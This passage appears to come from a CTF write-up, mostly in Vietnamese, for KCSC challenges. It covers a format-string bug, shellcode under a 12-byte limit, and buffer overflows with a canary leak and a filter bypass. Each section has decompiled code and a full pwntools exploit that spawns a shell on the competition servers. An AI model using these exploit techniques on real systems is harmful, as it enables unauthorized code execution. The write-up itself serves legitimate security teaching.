for i in range(len(cmpInput)):
newCmpInput += chr(buf[i] ^ ord(cmpInput[i]))
elements = [int(newCmpInput[i : i+2], 16) for i in range(0, len(newCmpInput), 2)]
block = [elements[i : i+4] for i in range(0, len(elements), 4)]
round = 99
while(round >= 0):
unXor(block, round)
unSwapBit(block)
unShiftCol(block)
unShiftRow(block)
round -= 1
flag = "KCSC{"
for i in range(4):
for j in range(4):
flag += chr(block[i][j])
flag += "}"
print(flag)
if __name__ == "__main__":
main()
|
pwn/A gift for pwners
Challenge Information
- 40 solves / 100 pts
- Given files: gift
- Description: Just find flag in file, no need netcat
Solution
Load file vào IDA64, dùng shortcut Shift + F12 để kiểm tra các string, ta có được phần đầu và phần cuối của flag là KCSC{A_gift_
và pwners_0xdeadbeef}
.
Kiểm tra hàm secret
, ta có được phần giữa của flag là for_the_
.
Flag đầy đủ của bài toán là KCSC{A_gift_for_the_pwners_0xdeadbeef}
Challenge Information
- 0 solve / 500 pts / by Nuuuuuuuu
- Given files: format.zip
- Description: You don’t have to do anything, i will printf the flag for you^^
nc 103.162.14.116 12001
Solution
Load file vào IDA64, dễ thấy có lỗ hổng FMT ở dòng printf(buf)
1
2
3
4
5
6
7
8
9
10
11
12
| int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("Do you want to get flag^^");
buf[read(0, buf, 0x25uLL)] = 0;
printf(buf);
system(cmd);
return 0;
}
|
Chương trình gọi hàm system
với cmd
là một câu lệnh echo. Ý tưởng để giải bài này sẽ là tận dụng bug FMT viết thêm chuỗi ;sh
sau câu lệnh đó để lấy shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| from pwn import *
elf = ELF("./format", checksec = False)
# p = process(elf.path)
p = remote("103.162.14.116", 12001)
pause()
write_addr = 0x4040B5
sh = 0x68733b # ;sh
pay = f"%{sh}c%10$n".encode().ljust(0x10, b"\x00") + p64(write_addr)
p.sendline(pay)
p.interactive()
# KCSC{F1rs1_Pr0b13m_w1Th_pR1Ntf}
|
pwn/pwn1
Challenge Information
- 0 solve / 500 pts
- Given files: pwn1
- Description: every things start with assembly
nc 103.162.14.116 20001
Solution
Sử dụng IDA64 decompile chương trình, ta thu được mã giả của hàm main
như sau
1
2
3
4
5
6
7
8
9
10
11
12
| int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+0h] [rbp-10h]
setup(argc, argv, envp);
buf = mmap((void *)0x1337000, 0x1000uLL, 7, 33, -1, 0LL);
puts("Let warm up a bit with shellcode , shall we?");
read(0, buf, 0xCuLL);
puts("OK let see how your shellcode work!!!!");
((void (*)(void))buf)();
return 0;
}
|
Ta thấy, chương trình mmap
1000 byte, bắt đầu tại địa chỉ 0x1337000
với full quyền rwx và yêu cầu chúng ta viết shellcode.
Vấn đề ở đây là chúng ta chỉ nhập được tối đa 12 byte. Vậy nên không thể viết trực tiếp shellcode lấy shell như thông thường được. Mình sẽ mở rộng kích thước số byte được nhập ra và gọi lại hàm read
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
| from pwn import *
import time
exe = ELF("./pwn1")
# libc = ELF("./libc.so.6")
# ld = ELF("./ld.so.6")
context.log_level = "debug"
context.arch = "amd64"
context.binary = exe
# p = process(exe.path)
p = remote("103.162.14.116", 20001)
def sla(*args):
return p.sendlineafter(args[0], args[1])
def sl(*args):
return p.sendline(args[0])
shellcode1 = asm("""
mov edx, 0xff
add r13, 87
jmp r13
""")
p.sendafter("shall we?\n", shellcode1)
shellcode2 = asm("""
mov rax, 29400045130965551
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
""")
time.sleep(2)
p.sendline(shellcode2)
p.interactive()
# KCSC{https://www.youtube.com/watch?v=dQw4w9WgXcQ}
|
pwn/Simple Overflow
Challenge Information
- 2 solves / 496 pts / by Nuuuuuuuu
- Given files: simple_overflow.zip
- Description: simple description since it’s simple overflow
nc 103.162.14.116 12004
Solution
Chúng ta có thể thấy sự xuất hiện của lỗ hổng BOF ở hàm save_data
tại hàm read
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| unsigned __int64 __fastcall save_data(const char *a1)
{
int i; // [rsp+14h] [rbp-4Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-48h]
__int64 buf[2]; // [rsp+20h] [rbp-40h] BYREF
char s[8]; // [rsp+30h] [rbp-30h] BYREF
__int64 v6; // [rsp+38h] [rbp-28h]
__int64 v7; // [rsp+40h] [rbp-20h]
__int64 v8; // [rsp+48h] [rbp-18h]
unsigned __int64 v9; // [rsp+58h] [rbp-8h]
v9 = __readfsqword(0x28u);
*(_QWORD *)s = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
buf[0] = 0LL;
buf[1] = 0LL;
snprintf(s, 0x20uLL, "Hi %s, let me keep your data\n", a1);
printf("%s", s);
puts("How many data you want to save?");
v3 = get_long();
fflush(stdin);
for ( i = 0; v3 > i; ++i )
{
puts("Data: ");
read(0, buf, 256uLL);
strcpy(saved_data, (const char *)buf);
puts(saved_data);
}
puts("Your data is saved");
return v9 - __readfsqword(0x28u);
}
|
Chúng ta chỉ cần yêu cầu nhập 2 lần
- Lần đầu sẽ leak giá trị canary
- Lần thứ hai sẽ overwrite retaddr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
| #!/usr/bin/env python3
from pwn import *
exe = ELF("./simple_overflow")
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.35.so")
context.os = "linux"
context.arch = "amd64"
context.log_level = "debug"
context.binary = exe
# p = process(exe.path)
p = remote("103.162.14.116", 12004)
def sla(*args):
return p.sendlineafter(args[0], args[1])
def sl(*args):
return p.sendline(args[0])
def sa(*args):
return p.sendafter(args[0], args[1])
def rl():
return p.recvline()
def GDB():
gdb.attach(p, gdbscript = """
b *save_data+0x00eb
continue
""")
pause()
# GDB()
sla("name: \n", b"hacker")
sla("save?\n", b"2")
pay1 = b"A" * 7 * 8 + b"A"
sa("Data: \n", pay1)
p.recvuntil(pay1)
canary = u64(b"\x00" + p.recv(7))
log.info(f"canary = 0x%x" % canary)
fakerbp = 0xdeadbeef
win = exe.symbols["win"]
ret = 0x401526
pay2 = b"B" * 7 * 8 + p64(canary) + p64(fakerbp) + p64(ret) + p64(win)
sa("Data: \n", pay2)
p.interactive()
# KCSC{Y0u_g0T_1h3_Sup3R_s3Cr31_F14g}
|
pwn/strstr
Challenge Information
- 6 solves / 400 pts / by Wan
- Given files:
- Description: simple description since it’s simple overflow
nc 103.162.14.116 12005
Solution
Đề bài cho chúng là luôn source code, quan sát kỹ thì thấy có bug BOF để ret2win. Nhưng ở hàm filter
có check 1 số string
1
2
3
4
5
| if(strstr(buf, "v\x11@") || strstr(buf, "w\x11@") || strstr(buf, "z\x11@") != NULL)
{
printf("bypass strstr pls");
exit(0);
}
|
Địa chỉ hàm win
nằm ở 0x401186
nghĩa là chỉ bị trùng 2 byte \x11@
nên ta sẽ không bị kill. Chương trình có lỗi SIGSEGV do stack layout chưa được căn chỉnh. Vì vậy mình nhảy luôn vào win + 4
để tránh việc push rbp
vào stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| #!/usr/bin/env python3
from pwn import *
exe = ELF("./chall")
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.35.so")
context.os = "linux"
context.arch = "amd64"
context.log_level = "debug"
context.binary = exe
p = process(exe.path)
# p = remote("localhost", 1337)
def sla(*args):
return p.sendlineafter(args[0], args[1])
def sl(*args):
return p.sendline(args[0])
def sa(*args):
return p.sendafter(args[0], args[1])
def rl():
return p.recvline()
def GDB():
gdb.attach(p, gdbscript = """
b* main+127
continue
""")
pause()
# GDB()
win = exe.symbols["win"] + 4
pay = b"A"*7*8 + p64(win)
sa(b"play\n", pay)
p.interactive()
# KCSC{bypass_strstr_by_null_byte}
|
List Challenges
rev/mission: impossible
Challenge Information
- 0 solve / 500 pts / by sonx
- Given files: rev_mission_impossible.rar
- Description: Defeat all the adversaries to protect your base. We’re relying